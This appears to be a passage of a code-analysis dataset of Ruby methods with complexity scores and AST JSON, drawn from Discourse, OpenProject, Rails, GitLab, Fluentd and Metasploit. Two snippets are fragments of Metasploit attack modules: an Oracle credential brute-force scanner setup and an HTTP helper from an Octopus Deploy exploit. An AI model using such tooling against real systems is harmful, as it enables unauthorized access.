end","complexity_score":37.2,"ast_json":"{\"type\":\"def\",\"children\":[\"setup_recurring_event_invitees\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscoursePostEvent\"]},\"Invitee\"]},\"create_attendance!\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"going_user\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"recurring_event\"]},\"id\"]},{\"type\":\"sym\",\"children\":[\"going\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscoursePostEvent\"]},\"Invitee\"]},\"create_attendance!\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"interested_user\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"recurring_event\"]},\"id\"]},{\"type\":\"sym\",\"children\":[\"interested\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscoursePostEvent\"]},\"Invitee\"]},\"create_attendance!\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"not_going_user\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"recurring_event\"]},\"id\"]},{\"type\":\"sym\",\"children\":[\"not_going\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscoursePostEvent\"]},\"Invitee\"]},\"create_attendance!\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"going_user_unread_notification\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"recurring_event\"]},\"id\"]},{\"type\":\"sym\",\"children\":[\"going\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscoursePostEvent\"]},\"Invitee\"]},\"create_attendance!\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"going_user_read_notification\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"recurring_event\"]},\"id\"]},{\"type\":\"sym\",\"children\":[\"going\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscoursePostEvent\"]},\"Invitee\"]},\"create_attendance!\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"visited_going_user\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"recurring_event\"]},\"id\"]},{\"type\":\"sym\",\"children\":[\"going\"]}]}]}]}","id":"1f17a2d3-b7e0-47b0-b99b-6cc9f60d20f6"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/reporting/lib/widget/settings.rb","start_line":39,"raw_source":"def render_group_by_settings\n    render_widget Widget::Settings::Fieldset, @subject,\n                  type: \"group_by\" do\n      render_widget Widget::GroupBys, @subject\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"render_group_by_settings\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"render_widget\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Widget\"]},\"Settings\"]},\"Fieldset\"]},{\"type\":\"ivar\",\"children\":[\"@subject\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"group_by\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render_widget\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Widget\"]},\"GroupBys\"]},{\"type\":\"ivar\",\"children\":[\"@subject\"]}]}]}]}","id":"b24deccc-78a6-4667-b07a-50108cbd27e5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/migrations/squasher.rb","start_line":60,"raw_source":"def migration_specs\n          Dir.glob(Rails.root.join('spec/migrations/*.rb'))\n        end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"migration_specs\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"glob\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"root\"]},\"join\",{\"type\":\"str\",\"children\":[\"spec/migrations/*.rb\"]}]}]}]}","id":"ac0732d4-3f8a-48c9-8eff-f75ee1ecefcb"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/contracts/views/base_contract.rb","start_line":61,"raw_source":"def query_present\n      if model.query.blank?\n        errors.add(:query, :blank)\n      end\n    end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"query_present\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"query\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"query\"]},{\"type\":\"sym\",\"children\":[\"blank\"]}]},null]}]}","id":"114d6258-57b0-433f-be11-a341120f6e75"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/lib/action_view/digestor.rb","start_line":71,"raw_source":"def find_template(finder, name, prefixes, partial, keys)\n          finder.disable_cache do\n            finder.find_all(name, prefixes, partial, keys).first\n          end\n        end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"find_template\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"finder\"]},{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"prefixes\"]},{\"type\":\"arg\",\"children\":[\"partial\"]},{\"type\":\"arg\",\"children\":[\"keys\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"finder\"]},\"disable_cache\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"finder\"]},\"find_all\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"prefixes\"]},{\"type\":\"lvar\",\"children\":[\"partial\"]},{\"type\":\"lvar\",\"children\":[\"keys\"]}]},\"first\"]}]}]}","id":"d3012a1b-e865-45ee-8ec2-3bf7893200f4"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/uploaded_file.rb","start_line":10,"raw_source":"def path\n    pathname.to_s\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pathname\"]},\"to_s\"]}]}","id":"5b4f4df0-ba58-4eea-a060-400509beca0a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/oracle/oracle_login.rb","start_line":13,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Oracle RDBMS Login Utility',\n        'Description' => %q{\n          This module attempts to authenticate against an Oracle RDBMS\n          instance using username and password combinations indicated\n          by the USER_FILE, PASS_FILE, and USERPASS_FILE options.\n\n          Due to a bug in nmap versions 6.50-7.80 may not work.\n        },\n        'Author' => [\n          'Patrik Karlsson <patrik[at]cqure.net>', # the nmap NSE script, oracle-brute.nse\n          'todb' # this Metasploit module\n        ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          [ 'URL', 'https://www.oracle.com/database/' ],\n          [ 'CVE', '1999-0502'], # Weak password CVE\n          [ 'URL', 'https://nmap.org/nsedoc/scripts/oracle-brute.html']\n        ],\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptPath.new('USERPASS_FILE', [\n          false, \"File containing (space-separated) users and passwords, one pair per line\",\n          File.join(Msf::Config.data_directory, \"wordlists\", \"oracle_default_userpass.txt\")\n        ]),\n        OptString.new('SID', [ true, 'The instance (SID) to authenticate against', 'XE'])\n      ]\n    )\n  end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Oracle RDBMS Login Utility\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module attempts to authenticate against an Oracle RDBMS\\n\"]},{\"type\":\"str\",\"children\":[\"          instance using username and password combinations indicated\\n\"]},{\"type\":\"str\",\"children\":[\"          by the USER_FILE, PASS_FILE, and USERPASS_FILE options.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          Due to a bug in nmap versions 6.50-7.80 may not work.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Patrik Karlsson <patrik[at]cqure.net>\"]},{\"type\":\"str\",\"children\":[\"todb\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://www.oracle.com/database/\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"1999-0502\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://nmap.org/nsedoc/scripts/oracle-brute.html\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptPath\"]},\"new\",{\"type\":\"str\",\"children\":[\"USERPASS_FILE\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"File containing (space-separated) users and passwords, one pair per line\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Config\"]},\"data_directory\"]},{\"type\":\"str\",\"children\":[\"wordlists\"]},{\"type\":\"str\",\"children\":[\"oracle_default_userpass.txt\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"SID\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The instance (SID) to authenticate against\"]},{\"type\":\"str\",\"children\":[\"XE\"]}]}]}]}]}]}]}","id":"0009f29c-e0ee-476e-8d4e-8b084a519554"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/open_project/journal_formatter/attachment.rb","start_line":38,"raw_source":"def render(key, values, options = { html: true })\n    label, old_value, value = format_details(key.to_s.sub(\"attachments_\", \"\"), values)\n\n    if options[:html]\n      label, old_value, value = *format_html_details(label, old_value, value)\n\n      value = format_html_attachment_detail(key.to_s.sub(\"attachments_\", \"\"), value)\n    end\n\n    render_attachment_detail_text(label, value, old_value)\n  end","complexity_score":23.0,"ast_json":"{\"type\":\"def\",\"children\":[\"render\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"values\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"html\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"label\"]},{\"type\":\"lvasgn\",\"children\":[\"old_value\"]},{\"type\":\"lvasgn\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[null,\"format_details\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"to_s\"]},\"sub\",{\"type\":\"str\",\"children\":[\"attachments_\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"lvar\",\"children\":[\"values\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"html\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"label\"]},{\"type\":\"lvasgn\",\"children\":[\"old_value\"]},{\"type\":\"lvasgn\",\"children\":[\"value\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"format_html_details\",{\"type\":\"lvar\",\"children\":[\"label\"]},{\"type\":\"lvar\",\"children\":[\"old_value\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[null,\"format_html_attachment_detail\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"to_s\"]},\"sub\",{\"type\":\"str\",\"children\":[\"attachments_\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"render_attachment_detail_text\",{\"type\":\"lvar\",\"children\":[\"label\"]},{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"lvar\",\"children\":[\"old_value\"]}]}]}]}","id":"aed01e2b-9463-4dee-a9af-1f2a2d721c9f"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/db/migrate/20240119152348_explicit_provider_backwards_compat.rb","start_line":16,"raw_source":"def backfill_settings(feature_setting_name, llm_setting_name)\n    feature_enabled =\n      DB.query_single(\n        \"SELECT value FROM site_settings WHERE name = :setting_name\",\n        setting_name: feature_setting_name,\n      ).first == \"t\"\n\n    setting_value =\n      DB\n        .query_single(\n          \"SELECT value FROM site_settings WHERE name = :llm_setting\",\n          llm_setting: llm_setting_name,\n        )\n        .first\n        .to_s\n\n    providers = %w[aws_bedrock anthropic open_ai hugging_face vllm google]\n    # Sanity check to make sure we won't add provider twice.\n    return if providers.include?(setting_value.split(\":\").first)\n\n    if !setting_value && feature_enabled\n      # Enabled and using old default (gpt-3.5-turbo)\n      DB.exec(\n        \"UPDATE site_settings SET value='open_ai:gpt-3.5-turbo' WHERE name=:llm_setting\",\n        llm_setting: llm_setting_name,\n      )\n    elsif setting_value && !feature_enabled\n      # They'll have to choose an LLM model again before enabling the feature\n      DB.exec(\"DELETE FROM site_settings WHERE name=:llm_setting\", llm_setting: llm_setting_name)\n    elsif setting_value && feature_enabled\n      DB.exec(\n        \"UPDATE site_settings SET value=:new_value WHERE name=:llm_setting\",\n        llm_setting: llm_setting_name,\n        new_value: append_provider(setting_value),\n      )\n    end\n  end","complexity_score":28.8,"ast_json":"{\"type\":\"def\",\"children\":[\"backfill_settings\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"feature_setting_name\"]},{\"type\":\"arg\",\"children\":[\"llm_setting_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"feature_enabled\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"query_single\",{\"type\":\"str\",\"children\":[\"SELECT value FROM site_settings WHERE name = :setting_name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"setting_name\"]},{\"type\":\"lvar\",\"children\":[\"feature_setting_name\"]}]}]}]},\"first\"]},\"==\",{\"type\":\"str\",\"children\":[\"t\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"setting_value\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"query_single\",{\"type\":\"str\",\"children\":[\"SELECT value FROM site_settings WHERE name = :llm_setting\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"llm_setting\"]},{\"type\":\"lvar\",\"children\":[\"llm_setting_name\"]}]}]}]},\"first\"]},\"to_s\"]}]},{\"type\":\"lvasgn\",\"children\":[\"providers\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"aws_bedrock\"]},{\"type\":\"str\",\"children\":[\"anthropic\"]},{\"type\":\"str\",\"children\":[\"open_ai\"]},{\"type\":\"str\",\"children\":[\"hugging_face\"]},{\"type\":\"str\",\"children\":[\"vllm\"]},{\"type\":\"str\",\"children\":[\"google\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"providers\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"setting_value\"]},\"split\",{\"type\":\"str\",\"children\":[\":\"]}]},\"first\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"setting_value\"]},\"!\"]},{\"type\":\"lvar\",\"children\":[\"feature_enabled\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"exec\",{\"type\":\"str\",\"children\":[\"UPDATE site_settings SET value='open_ai:gpt-3.5-turbo' WHERE name=:llm_setting\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"llm_setting\"]},{\"type\":\"lvar\",\"children\":[\"llm_setting_name\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"setting_value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"feature_enabled\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"exec\",{\"type\":\"str\",\"children\":[\"DELETE FROM site_settings WHERE name=:llm_setting\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"llm_setting\"]},{\"type\":\"lvar\",\"children\":[\"llm_setting_name\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"setting_value\"]},{\"type\":\"lvar\",\"children\":[\"feature_enabled\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"exec\",{\"type\":\"str\",\"children\":[\"UPDATE site_settings SET value=:new_value WHERE name=:llm_setting\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"llm_setting\"]},{\"type\":\"lvar\",\"children\":[\"llm_setting_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"new_value\"]},{\"type\":\"send\",\"children\":[null,\"append_provider\",{\"type\":\"lvar\",\"children\":[\"setting_value\"]}]}]}]}]},null]}]}]}]}]}","id":"d1ee45f2-5cba-4768-b2a2-493d7b350342"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/application/middleware/remote_ip_test.rb","start_line":11,"raw_source":"def remote_ip(env = {})\n      remote_ip = nil\n      env = Rack::MockRequest.env_for(\"/\").merge(env).merge!(\n        \"action_dispatch.show_exceptions\" => :none,\n        \"action_dispatch.key_generator\" => ActiveSupport::CachingKeyGenerator.new(\n          ActiveSupport::KeyGenerator.new(\"b3c631c314c0bbca50c1b2843150fe33\", iterations: 1000)\n        )\n      )\n\n      endpoint = Proc.new do |e|\n        remote_ip = ActionDispatch::Request.new(e).remote_ip\n        [200, {}, [\"Hello\"]]\n      end\n\n      Rails.application.middleware.build(endpoint).call(env)\n      remote_ip\n    end","complexity_score":21.9,"ast_json":"{\"type\":\"def\",\"children\":[\"remote_ip\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"env\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"remote_ip\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"env\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rack\"]},\"MockRequest\"]},\"env_for\",{\"type\":\"str\",\"children\":[\"/\"]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"env\"]}]},\"merge!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"action_dispatch.show_exceptions\"]},{\"type\":\"sym\",\"children\":[\"none\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"action_dispatch.key_generator\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"CachingKeyGenerator\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"KeyGenerator\"]},\"new\",{\"type\":\"str\",\"children\":[\"b3c631c314c0bbca50c1b2843150fe33\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"iterations\"]},{\"type\":\"int\",\"children\":[1000]}]}]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"endpoint\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Proc\"]},\"new\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"e\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"remote_ip\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionDispatch\"]},\"Request\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"e\"]}]},\"remote_ip\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[200]},{\"type\":\"hash\",\"children\":[]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Hello\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"application\"]},\"middleware\"]},\"build\",{\"type\":\"lvar\",\"children\":[\"endpoint\"]}]},\"call\",{\"type\":\"lvar\",\"children\":[\"env\"]}]},{\"type\":\"lvar\",\"children\":[\"remote_ip\"]}]}]}","id":"5be01c89-bed6-4a97-9b21-1862faad0243"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/octopusdeploy_deploy.rb","start_line":289,"raw_source":"def send_octopus_data_request(session, path, data, method)\n    request_path = normalize_uri(datastore['PATH'], path)\n    headers = create_request_headers(session)\n    headers['Content-Type'] = 'application/json'\n    res = send_request_raw(\n      'method' => method,\n      'uri' => request_path,\n      'headers' => headers,\n      'data' => data,\n      'SSL' => ssl\n    )\n    res\n  end","complexity_score":10.8,"ast_json":"{\"type\":\"def\",\"children\":[\"send_octopus_data_request\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"session\"]},{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"arg\",\"children\":[\"data\"]},{\"type\":\"arg\",\"children\":[\"method\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"request_path\",{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PATH\"]}]},{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"headers\",{\"type\":\"send\",\"children\":[null,\"create_request_headers\",{\"type\":\"lvar\",\"children\":[\"session\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"headers\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"application/json\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_raw\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"lvar\",\"children\":[\"method\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"lvar\",\"children\":[\"request_path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"headers\"]},{\"type\":\"lvar\",\"children\":[\"headers\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"lvar\",\"children\":[\"data\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SSL\"]},{\"type\":\"send\",\"children\":[null,\"ssl\"]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"res\"]}]}]}","id":"55179780-ccd1-472b-9b78-c733a5bc69e3"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin/out_http.rb","start_line":196,"raw_source":"def formatted_to_msgpack_binary?\n      @formatter_configs.first[:@type] == 'msgpack'\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"formatted_to_msgpack_binary?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@formatter_configs\"]},\"first\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"@type\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"msgpack\"]}]}]}","id":"26872a0a-5441-4ba9-9f9d-c189da0430c2"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/wizard/step.rb","start_line":13,"raw_source":"def add_field(attrs)\n      field = Field.new(attrs)\n      field.step = self\n      @fields << field\n      yield field if block_given?\n      field\n    